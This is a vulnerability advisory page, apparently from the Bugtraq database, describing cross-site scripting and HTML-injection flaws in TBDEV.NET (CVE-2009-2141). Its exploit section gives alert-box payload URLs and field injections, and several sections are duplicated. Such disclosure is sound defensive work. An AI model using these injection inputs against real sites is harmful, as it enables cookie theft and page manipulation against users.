TBDEV.NET Multiple Cross Site Scripting And HTML Injection Vulnerabilities
BID:35366
Info
TBDEV.NET Multiple Cross Site Scripting And HTML Injection Vulnerabilities
| Bugtraq ID: | 35366 |
| Class: | Input Validation Error |
| CVE: |
CVE-2009-2141 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 12 2009 12:00AM |
| Updated: | Jun 30 2009 08:59PM |
| Credit: | InterN0T |
| Vulnerable: |
TBDev.NET TBDEV-01-01-08 0 |
| Not Vulnerable: | |
Discussion
TBDEV.NET Multiple Cross Site Scripting And HTML Injection Vulnerabilities
TBDEV.NET is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.
TBDEV-01-01-08 is vulnerable; other versions may also be affected.
TBDEV.NET is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.
TBDEV-01-01-08 is vulnerable; other versions may also be affected.
Exploit / POC
TBDEV.NET Multiple Cross Site Scripting And HTML Injection Vulnerabilities
Attackers can use a browser to exploit these issues. To exploit a cross-site scripting vulnerability, an attacker must entice an unsuspecting user to follow a malicious URI.
The following examples are available:
Cross-site scripting:
http://www.example.com/tbdev/tbdev-01-01-08/makepoll.php?returnto=><script>alert(0)</script> http://www.example.com/tbdev/tbdev-01-01-08/polls.php?action=delete&pollid=1&returnto=><script>alert(0)</script><br
HTML injection:
http://www.example.com/tbdev/tbdev-01-01-08/my.php -- Info field: </textarea><script>alert(0)</script>
http://www.example.com/tbdev/tbdev-01-01-08/my.php -- Avatar field: javascript:alert(0)
Attackers can use a browser to exploit these issues. To exploit a cross-site scripting vulnerability, an attacker must entice an unsuspecting user to follow a malicious URI.
The following examples are available:
Cross-site scripting:
http://www.example.com/tbdev/tbdev-01-01-08/makepoll.php?returnto=><script>alert(0)</script> http://www.example.com/tbdev/tbdev-01-01-08/polls.php?action=delete&pollid=1&returnto=><script>alert(0)</script><br
HTML injection:
http://www.example.com/tbdev/tbdev-01-01-08/my.php -- Info field: </textarea><script>alert(0)</script>
http://www.example.com/tbdev/tbdev-01-01-08/my.php -- Avatar field: javascript:alert(0)
Solution / Fix
TBDEV.NET Multiple Cross Site Scripting And HTML Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
TBDEV.NET Multiple Cross Site Scripting And HTML Injection Vulnerabilities
References:
References: